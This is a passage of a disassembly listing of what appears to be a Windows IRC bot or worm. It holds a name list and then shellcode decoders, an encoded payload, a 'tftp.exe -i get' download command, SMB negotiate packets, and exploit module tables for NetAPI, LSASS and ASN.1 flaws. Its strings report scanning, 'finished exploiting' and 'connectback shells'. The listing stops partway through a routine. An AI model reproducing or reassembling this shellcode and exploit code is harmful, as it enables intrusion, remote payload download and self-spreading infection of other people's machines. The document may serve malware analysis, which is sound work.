aBlakemore	db 'Blakemore',0        ; DATA XREF: seg002:0042EE44o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: seg002:0042EE40o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: seg002:0042EE3Co
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: seg002:0042EE38o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: seg002:0042EE34o
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: seg002:0042EE30o
		align 4
aBir		db 'Bir',0              ; DATA XREF: seg002:0042EE2Co
aBinion		db 'Binion',0           ; DATA XREF: seg002:0042EE28o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: seg002:0042EE24o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: seg002:0042EE20o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: seg002:0042EE1Co
aBetti		db 'Betti',0            ; DATA XREF: seg002:0042EE18o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: seg002:0042EE14o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: seg002:0042EE10o
		align 4
aBernassola	db 'Bernassola',0       ; DATA XREF: seg002:0042EE0Co
		align 10h
aBernardo	db 'Bernardo',0         ; DATA XREF: seg002:0042EE08o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: seg002:0042EE04o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: seg002:0042EE00o
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: seg002:0042EDFCo
		align 4
aBelloc		db 'Belloc',0           ; DATA XREF: seg002:0042EDF8o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: seg002:0042EDF4o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: seg002:0042EDF0o
		align 10h
aBellavance	db 'Bellavance',0       ; DATA XREF: seg002:0042EDECo
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: seg002:0042EDE8o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: seg002:0042EDE4o
		align 4
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: seg002:0042EDE0o
		align 10h
aBelanger	db 'Belanger',0         ; DATA XREF: seg002:0042EDDCo
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: seg002:0042EDD8o
aBedford	db 'Bedford',0          ; DATA XREF: seg002:0042EDD4o
aBeder		db 'Beder',0            ; DATA XREF: seg002:0042EDD0o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: seg002:0042EDCCo
aBean		db 'Bean',0             ; DATA XREF: seg002:0042EDC8o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: seg002:0042EDC4o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: seg002:0042EDC0o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: seg002:0042EDBCo
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: seg002:0042EDB8o
		align 4
aBaumiller	db 'Baumiller',0        ; DATA XREF: seg002:0042EDB4o
		align 10h
aBatchelder	db 'Batchelder',0       ; DATA XREF: seg002:0042EDB0o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: seg002:0042EDACo
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: seg002:0042EDA8o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: seg002:0042EDA4o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: seg002:0042EDA0o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: seg002:0042ED9Co
aBarry		db 'Barry',0            ; DATA XREF: seg002:0042ED98o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: seg002:0042ED94o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: seg002:0042ED90o
aBarneson	db 'Barneson',0         ; DATA XREF: seg002:0042ED8Co
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: seg002:0042ED88o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: seg002:0042ED84o
aBaranowska	db 'Baranowska',0       ; DATA XREF: seg002:0042ED80o
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: seg002:0042ED7Co
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: seg002:0042ED78o
aBarabesi	db 'Barabesi',0         ; DATA XREF: seg002:0042ED74o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: seg002:0042ED70o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: seg002:0042ED6Co
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: seg002:0042ED68o
		align 4
aBallatori	db 'Ballatori',0        ; DATA XREF: seg002:0042ED64o
		align 10h
aBaleja		db 'Baleja',0           ; DATA XREF: seg002:0042ED60o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: seg002:0042ED5Co
		align 4
aBailar		db 'Bailar',0           ; DATA XREF: seg002:0042ED58o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: seg002:0042ED54o
aBaglivo	db 'Baglivo',0          ; DATA XREF: seg002:0042ED50o
aBady		db 'Bady',0             ; DATA XREF: seg002:0042ED4Co
		align 4
aBackus		db 'Backus',0           ; DATA XREF: seg002:0042ED48o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: seg002:0042ED44o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: seg002:0042ED40o
		align 10h
aAyling		db 'Ayling',0           ; DATA XREF: seg002:0042ED3Co
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: seg002:0042ED38o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: seg002:0042ED34o
aAxworthy	db 'Axworthy',0         ; DATA XREF: seg002:0042ED30o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: seg002:0042ED2Co
aAurelius	db 'Aurelius',0         ; DATA XREF: seg002:0042ED28o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: seg002:0042ED24o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: seg002:0042ED20o
		align 4
aArky		db 'Arky',0             ; DATA XREF: seg002:0042ED1Co
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: seg002:0042ED18o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: seg002:0042ED14o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: seg002:0042ED10o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: seg002:0042ED0Co
aArbia		db 'Arbia',0            ; DATA XREF: seg002:0042ED08o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: seg002:0042ED04o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: seg002:0042ED00o
aAnsley		db 'Ansley',0           ; DATA XREF: seg002:0042ECFCo
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: seg002:0042ECF8o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: seg002:0042ECF4o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: seg002:0042ECF0o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: seg002:0042ECECo
		align 4
aAndel		db 'Andel',0            ; DATA XREF: seg002:0042ECE8o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: seg002:0042ECE4o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: seg002:0042ECE0o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: seg002:0042ECDCo
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: seg002:0042ECD8o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: seg002:0042ECD4o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: seg002:0042ECD0o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: seg002:0042ECCCo
aAltavilla	db 'Altavilla',0        ; DATA XREF: seg002:0042ECC8o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: seg002:0042ECC4o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: seg002:0042ECC0o
aAleks		db 'Aleks',0            ; DATA XREF: seg002:0042ECBCo
		align 4
aAlda		db 'Alda',0             ; DATA XREF: seg002:0042ECB8o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: seg002:0042ECB4o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: seg002:0042ECB0o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: seg002:0042ECACo
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: seg002:0042ECA8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: seg002:0042ECA4o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: seg002:0042ECA0o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: seg002:0042EC9Co
aAdams		db 'Adams',0            ; DATA XREF: seg002:0042EC98o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: seg002:0042EC94o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: seg002:off_42EC90o
		align 4
aPc		db 'PC',0               ; DATA XREF: seg000:0040ACD5o
		align 4
aS_3		db '%s|',0              ; DATA XREF: seg000:0040AD56o
aS_4		db '[%s]|',0            ; DATA XREF: seg000:0040AE60o
		align 4
a???		db '???',0              ; DATA XREF: seg000:loc_40AE57o
					; sub_41AC18:loc_41ACDBo
a2k3		db '2K3',0              ; DATA XREF: seg000:0040AE50o
aXp_0		db 'XP',0               ; DATA XREF: seg000:0040AE42o
					; sub_41AC18+AAo
		align 4
a2k		db '2K',0               ; DATA XREF: seg000:0040AE32o
					; sub_41AC18+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: seg000:0040AE19o
					; sub_41AC18+7Eo
		align 4
a98		db '98',0               ; DATA XREF: seg000:0040AE09o
					; sub_41AC18+6Co
		align 10h
aNt_0		db 'NT',0               ; DATA XREF: seg000:0040ADF9o
					; sub_41AC18+5Ao
		align 4
a95		db '95',0               ; DATA XREF: seg000:0040ADEBo
					; sub_41AC18+46o
		align 4
aD_2		db '[%d]',0             ; DATA XREF: sub_40AEA6+1Bo
		align 10h
		jmp	short loc_432924
; ---------------------------------------------------------------------------


loc_432922:				; CODE XREF: seg002:loc_432924p
		jmp	short loc_432929
; ---------------------------------------------------------------------------


loc_432924:				; CODE XREF: seg002:00432920j
		call	loc_432922


loc_432929:				; CODE XREF: seg002:loc_432922j
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_432930:				; CODE XREF: seg002:00432935j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_432930
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_432946:				; CODE XREF: seg002:0043294Bj
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_432946
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_4329E8
		jnz	short loc_4329D4
		retn
; ---------------------------------------------------------------------------


loc_4329D4:				; CODE XREF: seg002:004329D1j
					; seg002:004329E1j
		call	near ptr loc_4329D9+1


loc_4329D9:				; CODE XREF: seg002:loc_4329D4p
		add	[edx+0], ch
		call	sub_4329E8
		jz	loc_4329D4
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4329E8	proc near		; CODE XREF: seg002:004329CCp
					; seg002:004329DCp
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_4329E8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B1F9+51o
		align 10h
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B1F9+35o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40BF8E+155o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B63A+30o
		align 4
		dd 5 dup(0)
dword_432A90	dd 0B97h		; DATA XREF: seg000:00403810r
					; seg000:00403839o ...
off_432A94	dd offset sub_40E78C	; DATA XREF: sub_40BF8E+1D7r
dword_432A98	dd 0			; DATA XREF: sub_40B4AD+2Eo
					; seg000:0040D2DDr ...
dword_432A9C	dd 1			; DATA XREF: seg000:0040B948r
dword_432AA0	dd 1			; DATA XREF: seg000:0040BCD3r
dword_432AA4	dd 0			; DATA XREF: seg000:0040BBAEr
aNet1		db 'net1',0
		align 10h
		dd 654E0000h, 69706174h, 2D393331h, 31h, 4 dup(0)
		dd 8Bh,	40DD8Fh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 31h, 654E0000h, 69706174h, 2D353434h, 31h
		dd 4 dup(0)
		dd 1BDh, 40DD8Fh, 0
		dd 2 dup(1), 0
aNet2		db 'net2',0
		align 10h
		dd 654E0000h, 69706174h, 2D393331h, 32h, 4 dup(0)
		dd 8Bh,	40E27Bh, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 32h, 654E0000h, 69706174h, 2D353434h, 32h
		dd 4 dup(0)
		dd 1BDh, 40E27Bh, 0
		dd 2 dup(1), 0
aNet3		db 'net3',0
		align 10h
		dd 654E0000h, 69706174h, 2D393331h, 33h, 4 dup(0)
		dd 8Bh,	40E64Ch, 0
		dd 2 dup(1), 0
		dd 2D74656Eh, 33h, 654E0000h, 69706174h, 2D353434h, 33h
		dd 4 dup(0)
		dd 1BDh, 40E64Ch, 0
		dd 2 dup(1), 0
aXmass		db 'xmass',0
		align 10h
		dd 616C0000h, 3331646Eh, 39h, 5	dup(0)
		dd 8Bh,	40D6DBh, 0
		dd 2 dup(1), 0
aAsn1http	db 'asn1http',0
		align 2
aAsn_1Http	db 'ASN.1-HTTP',0
		align 10h
		dd 4 dup(0)
		dd 50h,	40D121h, 0
		dd 2 dup(1), 0
aAsn1smb	db 'asn1smb',0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D121h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
aAsn_1SmbNt	db 'ASN.1-SMB NT',0
		align 10h
		dd 4 dup(0)
		dd 8Bh,	40D121h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aNet1_0		db 'net1',0
		align 10h
		db 2 dup(0)
byte_432D72	db 1			; DATA XREF: seg000:loc_403789r
					; seg000:00403793o
aNet2_0		db 'net2',0
		dd 0
		dd 656E0100h, 3374h, 0
		dd 1, 3	dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_432DAA

; =============== S U B	R O U T	I N E =======================================



sub_432D9A	proc near		; CODE XREF: sub_432D9A:loc_432DAAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_432DA2:				; CODE XREF: sub_432D9A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432DA2
		jmp	short loc_432DAF
; ---------------------------------------------------------------------------


loc_432DAA:				; CODE XREF: seg002:00432D98j
		call	sub_432D9A


loc_432DAF:				; CODE XREF: sub_432D9A+Ej
		jo	short near ptr dword_432D2C+1Eh
		cwde
		cdq
		cdq
		retn
sub_432D9A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4AD+85o
		align 4
dword_432F2C	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B4AD+46o
unk_432F38	db  2Dh	; -		; DATA XREF: sub_40B4AD+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_432F58	db  2Dh	; -		; DATA XREF: sub_40B57B+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_432FA0	db  2Dh	; -		; DATA XREF: sub_40B5E6+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B63A+7Eo
dword_432FDC	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B63A+40o
dword_432FEC	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B63A+14o
		dd 7473694Ch, 3Ah
unk_433008	db  2Dh	; -		; DATA XREF: seg000:0040B86Fo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_43303C	db  2Dh	; -		; DATA XREF: seg000:0040B780o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_43306C	db  2Dh	; -		; DATA XREF: sub_40B8B2+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_43308C	db  2Dh	; -		; DATA XREF: sub_40B8B2+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_4330A8	db  2Dh	; -		; DATA XREF: seg000:0040BDEEo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_31	db ' Failed to start server, error: <%d>.',0
		align 4
unk_4330DC	db  2Dh	; -		; DATA XREF: seg000:0040BCAFo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_32	db '- Failed to start server, error: <%d>.',0
unk_433114	db  2Dh	; -		; DATA XREF: seg000:0040BC4Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_433144	db  2Dh	; -		; DATA XREF: seg000:0040BB88o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_33	db 'Failed to start server, error: <%d>.',0
		align 4
unk_433178	db  2Dh	; -		; DATA XREF: seg000:0040BB28o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_4331AC	db  2Dh	; -		; DATA XREF: seg000:0040BA60o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_4331E0	db  2Dh	; -		; DATA XREF: sub_40BF8E+DCo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_433208	db  2Dh	; -		; DATA XREF: sub_40BF8E+84o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433240	db  2Dh	; -		; DATA XREF: seg000:0040C382o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 10h
unk_433280	db  2Dh	; -		; DATA XREF: seg000:0040C30Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_4332B8	db  2Dh	; -		; DATA XREF: seg000:0040C2A5o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4332EC	db  2Dh	; -		; DATA XREF: seg000:0040C229o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_433320	db  2Dh	; -		; DATA XREF: seg000:0040C48Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_433348	db  2Dh	; -		; DATA XREF: sub_40C4C6+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 10h
unk_433370	db  2Dh	; -		; DATA XREF: sub_40C5B7+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_43339C	db  2Dh	; -		; DATA XREF: sub_40C5B7+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40C930+B2o
		align 4
dword_4333D4	dd 10FF8h, 0		; DATA XREF: sub_40C930+6Ao
dword_4333DC	dd 10FF8h		; DATA XREF: sub_40C930+79o
dword_4333E0	dd 7FFDF020h, 0		; DATA XREF: sub_40C930+162o
dword_4333E8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CD4A+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_433470	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CD4A+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4334A0	dd 0			; DATA XREF: sub_40CD4A+44o
		dd 800000D4h, 2	dup(0)
unk_4334B0	db  81h	; 		; DATA XREF: sub_40CE29+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_433500	db 41h			; DATA XREF: sub_40CEC7+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_433548	proc near		; DATA XREF: seg000:0040D1A3o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_433644
		push	dword ptr [esi]
		push	63D61209h
		call	sub_43365A
		mov	[esi+8], eax
		call	sub_43360D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_43365A
		mov	[esi+0Ch], eax
		call	sub_4335BF
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_43365A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_433548	endp


; =============== S U B	R O U T	I N E =======================================



sub_4335BF	proc near		; CODE XREF: sub_433548+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4335E8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4335BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4335E8	proc near		; CODE XREF: sub_4335BF+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4335F7:				; CODE XREF: sub_4335E8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_433604
		inc	ebx
		jmp	short loc_4335F7
; ---------------------------------------------------------------------------


loc_433604:				; CODE XREF: sub_4335E8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4335E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43360D	proc near		; CODE XREF: sub_433548+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_433625:				; CODE XREF: sub_43360D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43362D
		mov	ecx, [ecx]
		jmp	short loc_433625
; ---------------------------------------------------------------------------


loc_43362D:				; CODE XREF: sub_43360D+1Aj
		mov	edx, edi


loc_43362F:				; CODE XREF: sub_43360D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_433639
		mov	edx, [edx+4]
		jmp	short loc_43362F
